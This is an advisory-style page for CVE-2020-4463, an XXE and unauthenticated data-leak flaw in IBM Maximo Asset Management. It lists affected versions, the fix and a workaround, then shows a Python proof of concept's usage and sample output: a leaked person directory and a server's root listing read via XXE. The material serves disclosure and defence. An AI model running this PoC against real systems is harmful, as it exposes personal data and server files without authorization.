
IBM Maximo Asset Management is vulnerable to Information Disclosure via XXE Vulnerability (CVE-2020-4463)
IBM Maximo Asset Management est vulnérable à une attaque par injection d'entité externe XML (XXE) lors du traitement de données XML. Un attaquant distant pourrait exploiter cette vulnérabilité pour exposer des informations sensibles ou consommer des ressources mémoire.
Score de base : 8.2
Vecteur : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
IBM Maximo Asset Management 7.6.0
IBM Maximo Asset Management 7.6.1
IBM Maximo Asset Management toutes les versions avant 7.6.0
Maximo for Aviation
Maximo for Life Sciences
Maximo for Nuclear Power
Maximo for Oil and Gas
Maximo for Transportation
Maximo for Utilities
SmartCloud Control Desk
IBM Control Desk
Tivoli Integration Composer
Version corrigée : Maximo Asset Management 7.6.1.2
Versions antérieures : Voir contournement (lien ci-dessous)
Voici maintenant la preuve de concept pour cette vulnérabilité. Non seulement les versions mentionnées par IBM sont vulnérables. Toutes les versions antérieures à la version 7.6.0 peuvent également être vulnérables.
Le PoC vérifie 2 vulnérabilités qui pourraient être présentes sur le système. Une vulnérabilité de fuite de données qui peut être exploitée si aucune authentification n'est implémentée et la vulnérabilité XXE qui peut être exploitée si une certaine valeur (mxe.int.resolvexmlextentity=0) n'est pas définie dans la configuration.
python3 CVE-2020-4463.py --help
usage: CVE-2020-4463.py [-h] [-x [XXE]] [-d [DATALEAK]] [--url [URL]]
CVE-2020-4463 PoC Data Leakage and XXE
optional arguments:
-h, --help show this help message and exit
-x [XXE], --xxe [XXE]
XXE (Linux/Windows)
-d [DATALEAK], --dataleak [DATALEAK]
Data Leakage REST request MXPERSON. May take a long
time.
--url [URL] Target URL http://, https://
Si vous obtenez la réponse suivante, les deux vulnérabilités ne sont pas présentes.
Error 500: BMXAA1268E - No user credentials.
Peut prendre beaucoup de temps si la base de données contient de nombreuses entrées.
CVE-2020-4463 git:(master) ✗ python3 CVE-2020-4463.py --url https://10.0.0.1 -d
<?xml version="1.0" encoding="UTF-8"?>
<QueryMXPERSONResponse xmlns="http://www.ibm.com/maximo" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
creationDateTime="2020-11-16T10:42:49+01:0 0" transLanguage="EN" baseLanguage="EN"
messageID="6927296.160551977018422092" maximoVersion="7 6 20170418-0100 V7608-61" rsStart="0" rsTotal="4374"
rsCount="4374">
<MXPERSONSet>
<PERSON>
<ADDRESSLINE1></ADDRESSLINE1>
<CITY></CITY>
<CLASSSTRUCTUREID></CLASSSTRUCTUREID>
<COUNTRY></COUNTRY>
<C_DESCRIZIONE></C_DESCRIZIONE>
<C_MATRICOLA></C_MATRICOLA>
<C_QUALIFICA></C_QUALIFICA>
<FIRSTNAME>Lxxxxxxx</FIRSTNAME>
<LANGUAGE>IT</LANGUAGE>
<LASTNAME>xxxxxx</LASTNAME>
<PERSONID>Lxxxxxxx</PERSONID>
<POSTALCODE></POSTALCODE>
<PRIMARYEMAIL>[email protected]</PRIMARYEMAIL>
<PRIMARYPHONE></PRIMARYPHONE>
<STATEPROVINCE></STATEPROVINCE>
<STATUS maxvalue="ACTIVE">ACTIVE</STATUS>
<TITLE></TITLE>
<USERNOTFTYPE></USERNOTFTYPE>
<EMAIL>
<EMAILADDRESS>[email protected]</EMAILADDRESS>
</EMAIL>
</PERSON>
CVE-2020-4463 git:(master) ✗ python3 CVE-2020-4463.py --url https://10.0.0.1 -x
Error 500: BMXAA4160E - A major exception has occurred. Check the system log to see if there are any companion errors logged. Report this error to your system administrator.
/c: (No such file or directory)
Error 500: For input string: "bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
"